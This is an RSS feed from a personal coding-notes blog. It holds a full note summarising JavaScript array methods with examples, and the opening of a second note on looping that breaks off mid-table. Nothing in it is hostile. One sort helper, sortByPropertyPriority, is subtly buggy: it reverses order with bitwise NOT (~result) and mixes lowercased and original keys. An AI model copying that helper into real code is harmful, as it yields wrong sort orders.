<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/notes.rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Zander&apos;s Code Notes</title><description>TILs, snippets—my digital code garden</description><link>https://zander.wtf/</link><item><title>Array methods summarised</title><link>https://zander.wtf/notes/array-methods/</link><guid isPermaLink="true">https://zander.wtf/notes/array-methods/</guid><description>Intro JavaScript Arrays have lots of built in methods on their prototype. Some of them mutate - ie, they change the underlying array in-place. Luckily,…</description><pubDate>Thu, 01 Oct 2026 20:19:11 GMT</pubDate><content:encoded>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;JavaScript Arrays have lots of built in methods on their prototype. Some of them &lt;em&gt;mutate&lt;/em&gt; - ie, they change the underlying array in-place. Luckily, most of them do not - they instead return an entirely distinct array. Since arrays are conceptually a contiguous list of items, it helps code clarity and maintainability a lot to be able to operate on them in a &quot;functional&quot; way. (I&apos;ll also insist on referring to an array as a &quot;list&quot; - although in some languages, &lt;code&gt;List&lt;/code&gt; is a native data type, in JS and this post, I&apos;m referring to the concept. Everywhere I use the word &quot;list&quot; you can assume I&apos;m talking about a JS Array) This means, to perform a single operation on the list as a whole (&quot;atomically&quot;), and to return a &lt;em&gt;new&lt;/em&gt; list - thus making it much simpler to think about both the old list and the new one, what they contain, and what happened during the operation.&lt;/p&gt;
&lt;p&gt;Below are some of the methods that &lt;em&gt;iterate&lt;/em&gt; - in other words, that operate on the entire list, one item at a time. When you call them, you provide a &lt;em&gt;callback function&lt;/em&gt; - a single function that expects to operate on one item at a time. Based on the Array method you&apos;ve chosen, the callback gets specific arguments, and may be expected to return a certain kind of value - and (except for &lt;code&gt;forEach&lt;/code&gt;) the return value determines the final return value of the overarching array operation. Although most of the methods are guaranteed to execute for &lt;em&gt;each&lt;/em&gt; item in the array - for all of them - some of the methods can stop iterating partway through; when applicable, this is indicated below.&lt;/p&gt;
&lt;p&gt;All array methods iterate in what is traditionally called &quot;left to right&quot; - more accurately (and less ethnocentrically) from index &lt;code&gt;0&lt;/code&gt;, to index &lt;code&gt;length - 1&lt;/code&gt; - also called &quot;start&quot; to &quot;end&quot;. &lt;code&gt;reduceRight&lt;/code&gt; is an exception in that it iterates in reverse - from &lt;code&gt;end&lt;/code&gt; to &lt;code&gt;start&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;&lt;code&gt;forEach&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: here’s an item. do something nutty with it, i don&apos;t care what.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: nothing - in other words, &lt;code&gt;undefined&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;;[1, 2, 3].forEach((item, index) =&amp;gt; {
  console.log(item, index)
})
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;map&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: here’s an item. what should i put in the new list in its place?&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: list of new items&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const three = [1, 2, 3]
const doubled = three.map((item) =&amp;gt; {
  return item * 2
})
console.log(three === doubled, doubled) // false, [2, 4, 6]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;filter&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback is a predicate&lt;/em&gt; - it should return a truthy or falsy value&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: should i keep this item?&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: list of kept items&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const ints = [1, 2, 3]
const evens = ints.filter((item) =&amp;gt; {
  return item % 2 === 0
})
console.log(ints === evens, evens) // false, [2]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;reduce&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: here’s the result from the previous iteration. what should i pass to the next iteration?&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;result&lt;/code&gt;, &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: result of last iteration&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// NOTE: `reduce` and `reduceRight` take an optional &quot;initialValue&quot; argument, after the reducer callback.
// if omitted, it will default to the first item.
const sum = [1, 2, 3].reduce((result, item) =&amp;gt; {
  return result + item
}, 0) // if the `0` is omitted, `1` will be the first `result`, and `2` will be the first `item`
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;reduceRight&lt;/code&gt;: (same as &lt;code&gt;reduce&lt;/code&gt;, but in reversed order: last-to-first)&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;some&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback is a predicate&lt;/em&gt; - it should return a truthy or falsy value&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: does this item meet your criteria?&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: &lt;code&gt;true&lt;/code&gt; after the first item that meets your criteria, else &lt;code&gt;false&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;note&lt;/strong&gt;: stops iterating once it receives a truthy value from your callback.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const hasNegativeNumbers = [1, 2, 3, -1, 4].some((item) =&amp;gt; {
  return item &amp;lt; 0
})
console.log(hasNegativeNumbers) // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;every&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback is a predicate&lt;/em&gt; - it should return a truthy or falsy value&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: does this item meet your criteria?&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: &lt;code&gt;false&lt;/code&gt; after the first item that failed to meet your criteria, else &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;note&lt;/strong&gt;: stops iterating once it receives a falsy value from your callback.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const allPositiveNumbers = [1, 2, 3].every((item) =&amp;gt; {
  return item &amp;gt; 0
})
console.log(allPositiveNumbers) // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;find&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback is a predicate&lt;/em&gt; - it should return a truthy or falsy value&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: is this item what you’re looking for?&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: the item you’re looking for, or undefined&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;note&lt;/strong&gt;: stops iterating once it receives a truthy value from your callback.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const objects = [{ id: &apos;a&apos; }, { id: &apos;b&apos; }, { id: &apos;c&apos; }]
const found = objects.find((item) =&amp;gt; {
  return item.id === &apos;b&apos;
})
console.log(found === objects[1]) // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;findIndex&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback is a predicate&lt;/em&gt; - it should return a truthy or falsy value&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: is this item what you’re looking for?&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: the index of the item you’re looking for, or &lt;code&gt;-1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;note&lt;/strong&gt;: stops iterating once it receives a truthy value from your callback.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const objects = [{ id: &apos;a&apos; }, { id: &apos;b&apos; }, { id: &apos;c&apos; }]
const foundIndex = objects.findIndex((item) =&amp;gt; {
  return item.id === &apos;b&apos;
})
console.log(foundIndex === 1) // true
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;findLast&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback is a predicate&lt;/em&gt; - it should return a truthy or falsy value&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: is this item what you’re looking for? (searching from the end)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: the last item that matches, or &lt;code&gt;undefined&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;note&lt;/strong&gt;: iterates from &lt;code&gt;end&lt;/code&gt; to &lt;code&gt;start&lt;/code&gt;, and stops once it receives a truthy value from your callback.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const numbers = [1, 2, 3, 4, 5]
const lastEven = numbers.findLast((item) =&amp;gt; {
  return item % 2 === 0
})
console.log(lastEven) // 4
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;findLastIndex&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Same as &lt;code&gt;findLast&lt;/code&gt;, but returns the &lt;em&gt;index&lt;/em&gt; of the last matching item, or &lt;code&gt;-1&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const numbers = [1, 2, 3, 4, 5]
const lastEvenIndex = numbers.findLastIndex((item) =&amp;gt; {
  return item % 2 === 0
})
console.log(lastEvenIndex) // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;flatMap&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: here’s an item. what should i put in the new list in its place? (and if you return a list, i’ll flatten it one level)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;, &lt;code&gt;list&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: new list, flattened by one level&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;note&lt;/strong&gt;: equivalent to &lt;code&gt;.map(...).flat()&lt;/code&gt;, but in a single pass. Great for &quot;map, but sometimes zero or many results per item&quot;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const sentences = [&apos;hello world&apos;, &apos;foo bar&apos;]
const words = sentences.flatMap((item) =&amp;gt; {
  return item.split(&apos; &apos;)
})
console.log(words) // [&apos;hello&apos;, &apos;world&apos;, &apos;foo&apos;, &apos;bar&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;sort&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;callback is a comparator&lt;/em&gt; - it should return either a number either &amp;lt; 0, 0, or &amp;gt; 0&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: how do the two items compare with each other&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;oneElement&lt;/code&gt;, &lt;code&gt;theOtherElement&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: &lt;code&gt;number &amp;lt; 0&lt;/code&gt;, if &lt;code&gt;oneElement&lt;/code&gt; should preceed &lt;code&gt;theOtherElement&lt;/code&gt;, &lt;code&gt;0&lt;/code&gt; to keep the relative order, &lt;code&gt;&amp;gt; 0&lt;/code&gt; to place &lt;code&gt;oneElement&lt;/code&gt; at a later index than &lt;code&gt;theOtherElement&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;note&lt;/strong&gt;: &lt;code&gt;sort&lt;/code&gt; &lt;em&gt;mutates&lt;/em&gt; the array in-place (and returns the same array). If you don&apos;t want that, use &lt;a href=&quot;#tosorted&quot;&gt;&lt;code&gt;toSorted&lt;/code&gt;&lt;/a&gt; below.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const objects = [&apos;John&apos;, &apos;Doe&apos;, &apos;Foo&apos;, &apos;Bar&apos;]
const sortedObjects = objects.sort((one, two) =&amp;gt; -one.localeCompare(two)) // reverses the string in reverse order
console.log(sortedObjects) // [&apos;John&apos;, &apos;Foo&apos;, &apos;Doe&apos;, &apos;Bar&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Compare function examples&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;export const compare = (a, b):number  =&amp;gt; {
  if (a is less than b by some ordering criterion) {
    return -1;
  }
  if (a is greater than b by the ordering criterion) {
    return 1;
  }
  // a must be equal to b
  return 0;
}

export const compareNumbers = (a:number, b:number) =&amp;gt; {
  return a - b;
}

/* eslint-disable @typescript-eslint/explicit-module-boundary-types */
/* eslint-disable @typescript-eslint/no-explicit-any */
export const sortByDisplayOrder = (a: any, b: any): number =&amp;gt; {
  return a.displayOrder - b.displayOrder
}

// Sort by property priority
export const sortByPropertyPriority = &amp;lt;T&amp;gt;(
  key: string,
  sortingOrder: Record&amp;lt;string, number&amp;gt;,
  order: &apos;asc&apos; | &apos;desc&apos; = &apos;asc&apos;,
) =&amp;gt; {
  return (a: T, b: T): number =&amp;gt; {
    // eslint-disable-next-line
    // @ts-ignore
    // eslint-disable-next-line no-prototype-builtins
    if (!a.hasOwnProperty(key) || !b.hasOwnProperty(key)) return 0

    const first =
      a[key].toLowerCase() in sortingOrder
        ? sortingOrder[a[key]]
        : Number.MAX_SAFE_INTEGER
    const second =
      b[key].toLowerCase() in sortingOrder
        ? sortingOrder[b[key]]
        : Number.MAX_SAFE_INTEGER

    let result = 0
    if (first &amp;lt; second) {
      result = -1
    } else if (first &amp;gt; second) {
      result = 1
    }
    return order === &apos;desc&apos; ? ~result : result
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Change-by-copy methods (ES2023)&lt;/h2&gt;
&lt;p&gt;For years, a handful of array methods (&lt;code&gt;sort&lt;/code&gt;, &lt;code&gt;reverse&lt;/code&gt;, &lt;code&gt;splice&lt;/code&gt;) broke the &quot;return a new list&quot; rule and mutated the array in-place - forcing you into the &lt;code&gt;[...array].sort()&lt;/code&gt; dance. ES2023 finally fixed this with non-mutating counterparts. Each one returns a &lt;strong&gt;new array&lt;/strong&gt; and leaves the original untouched.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;toSorted&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Non-mutating version of &lt;code&gt;sort&lt;/code&gt;. Takes the same optional comparator callback.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: a new, sorted list&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const names = [&apos;John&apos;, &apos;Doe&apos;, &apos;Foo&apos;, &apos;Bar&apos;]
const sorted = names.toSorted()
console.log(sorted) // [&apos;Bar&apos;, &apos;Doe&apos;, &apos;Foo&apos;, &apos;John&apos;]
console.log(names) // [&apos;John&apos;, &apos;Doe&apos;, &apos;Foo&apos;, &apos;Bar&apos;] - untouched!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;toReversed&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Non-mutating version of &lt;code&gt;reverse&lt;/code&gt;. No callback.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: a new list in reverse order&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const numbers = [1, 2, 3]
const reversed = numbers.toReversed()
console.log(reversed) // [3, 2, 1]
console.log(numbers) // [1, 2, 3]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;toSpliced&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Non-mutating version of &lt;code&gt;splice&lt;/code&gt;. Same arguments: &lt;code&gt;start&lt;/code&gt;, &lt;code&gt;deleteCount&lt;/code&gt;, then any items to insert.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: a new list with items removed and/or inserted&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;note&lt;/strong&gt;: unlike &lt;code&gt;splice&lt;/code&gt; (which returns the &lt;em&gt;removed&lt;/em&gt; items), &lt;code&gt;toSpliced&lt;/code&gt; returns the new modified list.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const months = [&apos;Jan&apos;, &apos;Mar&apos;, &apos;Apr&apos;]
const fixed = months.toSpliced(1, 0, &apos;Feb&apos;)
console.log(fixed) // [&apos;Jan&apos;, &apos;Feb&apos;, &apos;Mar&apos;, &apos;Apr&apos;]
console.log(months) // [&apos;Jan&apos;, &apos;Mar&apos;, &apos;Apr&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;with&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Non-mutating version of bracket assignment (&lt;code&gt;array[index] = value&lt;/code&gt;). Takes an &lt;code&gt;index&lt;/code&gt; (negative counts from the end) and a &lt;code&gt;value&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;final return value&lt;/em&gt;: a new list with the item at &lt;code&gt;index&lt;/code&gt; replaced by &lt;code&gt;value&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;example use case&lt;/em&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const numbers = [1, 2, 3]
const replaced = numbers.with(1, 99)
console.log(replaced) // [1, 99, 3]
console.log(numbers) // [1, 2, 3]

// negative indices work too
console.log(numbers.with(-1, 0)) // [1, 2, 0]
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Other useful newer methods&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;at&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Like bracket access, but accepts negative indices - &lt;code&gt;at(-1)&lt;/code&gt; is the last item. So much nicer than &lt;code&gt;array[array.length - 1]&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const numbers = [1, 2, 3]
console.log(numbers.at(-1)) // 3
console.log(numbers.at(0)) // 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;flat&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Flattens nested arrays by a given depth (default &lt;code&gt;1&lt;/code&gt;). Pass &lt;code&gt;Infinity&lt;/code&gt; to flatten fully.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const nested = [1, [2, [3, [4]]]]
console.log(nested.flat()) // [1, 2, [3, [4]]]
console.log(nested.flat(Infinity)) // [1, 2, 3, 4]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;includes&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Returns &lt;code&gt;true&lt;/code&gt; if the array contains the given value. Simpler than &lt;code&gt;indexOf(x) !== -1&lt;/code&gt;, and unlike &lt;code&gt;indexOf&lt;/code&gt; it can find &lt;code&gt;NaN&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;console.log([1, 2, 3].includes(2)) // true
console.log([Number.NaN].includes(Number.NaN)) // true
console.log([Number.NaN].indexOf(Number.NaN)) // -1 🙃
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;Object.groupBy&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Not an array method (it&apos;s a static method on &lt;code&gt;Object&lt;/code&gt;), but it iterates a list just like the methods above. Groups items into an object keyed by whatever your callback returns. More in the &lt;a href=&quot;/notes/object-groupby/&quot;&gt;Object.groupBy&lt;/a&gt; note. Other built-ins that take a whole list, such as &lt;code&gt;Array.from&lt;/code&gt;, &lt;code&gt;Object.fromEntries&lt;/code&gt; and &lt;code&gt;Map.groupBy&lt;/code&gt;, are listed in &lt;a href=&quot;/notes/js-array-looping/#static-methods-that-go-through-a-list&quot;&gt;Looping and iterating&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback answers&lt;/em&gt;: which group does this item belong to?&lt;/li&gt;
&lt;li&gt;&lt;em&gt;callback gets these arguments&lt;/em&gt;: &lt;code&gt;item&lt;/code&gt;, &lt;code&gt;index&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;const inventory = [
  { name: &apos;asparagus&apos;, type: &apos;vegetable&apos; },
  { name: &apos;banana&apos;, type: &apos;fruit&apos; },
  { name: &apos;cherry&apos;, type: &apos;fruit&apos; },
]
const grouped = Object.groupBy(inventory, (item) =&amp;gt; item.type)
// {
//   vegetable: [{ name: &apos;asparagus&apos;, ... }],
//   fruit: [{ name: &apos;banana&apos;, ... }, { name: &apos;cherry&apos;, ... }],
// }
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Looping and iterating in JavaScript</title><link>https://zander.wtf/notes/js-array-looping/</link><guid isPermaLink="true">https://zander.wtf/notes/js-array-looping/</guid><description>How to go through every item in arrays, objects, Maps, Sets, strings, DOM lists and your own data, and which loop to pick for each. For the array methods…</description><pubDate>Wed, 30 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;How to go through every item in arrays, objects, &lt;code&gt;Map&lt;/code&gt;s, &lt;code&gt;Set&lt;/code&gt;s, strings, DOM lists and your own data, and which loop to pick for each.&lt;/p&gt;
&lt;p&gt;For the array methods one by one, see &lt;a href=&quot;/notes/array-methods/&quot;&gt;Array methods&lt;/a&gt;. For turning data from one shape into another, see &lt;a href=&quot;/notes/js-data-transformation/&quot;&gt;Reshaping data in JavaScript&lt;/a&gt;. For trees and nested data, see &lt;a href=&quot;/notes/recursion/&quot;&gt;Recursion&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Which loop?&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;I have…&lt;/th&gt;
&lt;th&gt;Use&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;An array, and I want a new array or value&lt;/td&gt;
&lt;td&gt;&lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;reduce&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;…&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;An array, and I need &lt;code&gt;break&lt;/code&gt;, &lt;code&gt;continue&lt;/code&gt; or &lt;code&gt;await&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;for...of&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;An array, and I need the index too&lt;/td&gt;
&lt;td&gt;&lt;code&gt;for...of&lt;/code&gt; with &lt;code&gt;.entries()&lt;/code&gt;, or a plain &lt;code&gt;for&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;An object&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Object.entries(obj)&lt;/code&gt; with &lt;code&gt;for...of&lt;/code&gt; or &lt;code&gt;.map()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A nested object&lt;/td&gt;
&lt;td&gt;a function that calls itself on each child object (see &lt;a href=&quot;#nested-objects&quot;&gt;Nested objects&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A &lt;code&gt;Map&lt;/code&gt; or &lt;code&gt;Set&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;for...of&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A string&lt;/td&gt;
&lt;td&gt;&lt;code&gt;for...of&lt;/code&gt; (not an index loop)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A &lt;code&gt;NodeList&lt;/code&gt;, &lt;code&gt;arguments&lt;/code&gt; or other array-like thing&lt;/td&gt;
&lt;td&gt;&lt;code&gt;for...of&lt;/code&gt;, or &lt;code&gt;Array.from()&lt;/code&gt; for array methods&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;An async stream of values&lt;/td&gt;
&lt;td&gt;&lt;code&gt;for await...of&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A tree&lt;/td&gt;
&lt;td&gt;recursion, or a loop with a stack&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Pros and cons&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Pros&lt;/th&gt;
&lt;th&gt;Cons&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;for...of&lt;/code&gt;&lt;/td&gt;
